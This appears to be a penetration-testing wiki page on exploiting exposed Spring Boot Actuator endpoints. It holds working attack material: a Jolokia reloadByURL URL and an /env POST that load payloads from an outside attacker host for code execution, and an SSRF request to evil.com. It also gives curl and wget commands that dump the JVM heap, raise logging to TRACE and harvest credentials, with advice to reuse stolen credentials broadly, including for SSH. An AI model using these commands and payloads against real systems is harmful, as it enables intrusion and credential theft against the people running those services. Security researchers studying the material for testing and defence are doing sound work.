Spring Actuators

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Spring Auth Bypass

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Exploiting Spring Boot Actuators

Check the original post from [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Key Points:

• Spring Boot Actuators register endpoints such as /health, /trace, /beans, /env, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only /health and /info are non-sensitive by default, but developers often disable this security.
• Certain Actuator endpoints can expose sensitive data or allow harmful actions:
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, and /heapdump.
• In Spring Boot 1.x, actuators are registered under the root URL, while in 2.x, they are under the /actuator/ base path.

Exploitation Techniques:

1. Remote Code Execution via '/jolokia':

   • The /jolokia actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans.
   • The reloadByURL action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations.
   • Example exploit URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.

2. Config Modification via '/env':

   • If Spring Cloud Libraries are present, the /env endpoint allows modification of environmental properties.

   • Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.

   • Example exploit POST request:

     POST /env HTTP/1.1
     Host: 127.0.0.1:8090
     Content-Type: application/x-www-form-urlencoded
     Content-Length: 65
     
     eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
     

3. Other Useful Settings:

   • Properties like spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, and spring.datasource.tomcat.max-active can be manipulated for various exploits, such as SQL injection or altering database connection strings.

Additional Information:

• A comprehensive list of default actuators can be found here.
• The /env endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same.

Related Topics:

1. Env + H2 RCE:

   • Details on exploiting the combination of /env endpoint and H2 database can be found here.

2. SSRF on Spring Boot Through Incorrect Pathname Interpretation:

• The Spring framework's handling of matrix parameters (;) in HTTP pathnames can be exploited for Server-Side Request Forgery (SSRF).
• Example exploit request:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

HeapDump secrets mining (credentials, tokens, internal URLs)

If /actuator/heapdump is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).

• Download and quick triage:

  wget http://target/actuator/heapdump -O heapdump
  # Quick wins: look for HTTP auth and JDBC
  strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
  # Decode any Basic credentials you find
  printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
  

• Deeper analysis with VisualVM and OQL:

  • Open heapdump in VisualVM, inspect instances of java.lang.String or run OQL to hunt secrets:

    select s.toString() 
    from java.lang.String s 
    where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
    

• Automated extraction with JDumpSpider:

  java -jar JDumpSpider-*.jar heapdump
  

  Typical high-value findings:

  • Spring DataSourceProperties / HikariDataSource objects exposing url, username, password.
  • OriginTrackedMapPropertySource entries revealing management.endpoints.web.exposure.include, service ports, and embedded Basic-Auth in URLs (e.g., Eureka defaultZone).
  • Plain HTTP request/response fragments including Authorization: Basic ... captured in memory.

Tips:

• Use a Spring-focused wordlist to discover actuator endpoints quickly (e.g., SecLists spring-boot.txt) and always check if /actuator/logfile, /actuator/httpexchanges, /actuator/env, and /actuator/configprops are also exposed.
• Credentials from heapdump often work for adjacent services and sometimes for system users (SSH), so try them broadly.

Abusing Actuator loggers/logging to capture credentials

If management.endpoints.web.exposure.include allows it and /actuator/loggers is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via /actuator/logfile or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters).

• Enumerate and crank up sensitive loggers:

  # List available loggers
  curl -s http://target/actuator/loggers | jq .
  
  # Enable very verbose logs for security/web stacks (adjust as needed)
  curl -s -X POST http://target/actuator/loggers/org.springframework.security \
       -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
  curl -s -X POST http://target/actuator/loggers/org.springframework.web \
       -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
  curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
       -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
  

• Find where logs are written and harvest:

  # If exposed, read from Actuator directly
  curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
  
  # Otherwise, query env/config to locate file path
  curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
  

• Trigger login/authentication traffic and parse the log for creds. In microservice setups with a gateway fronting auth, enabling TRACE for gateway/security packages often makes headers and form bodies visible. Some environments even generate synthetic login traffic periodically, making harvesting trivial once logging is verbose.

Notes:

• Reset log levels when done: POST /actuator/loggers/<logger> with { "configuredLevel": null }.
• If /actuator/httpexchanges is exposed, it can also surface recent request metadata that may include sensitive headers.

References

• Exploring Spring Boot Actuator Misconfigurations (Wiz)
• VisualVM
• JDumpSpider
• 0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)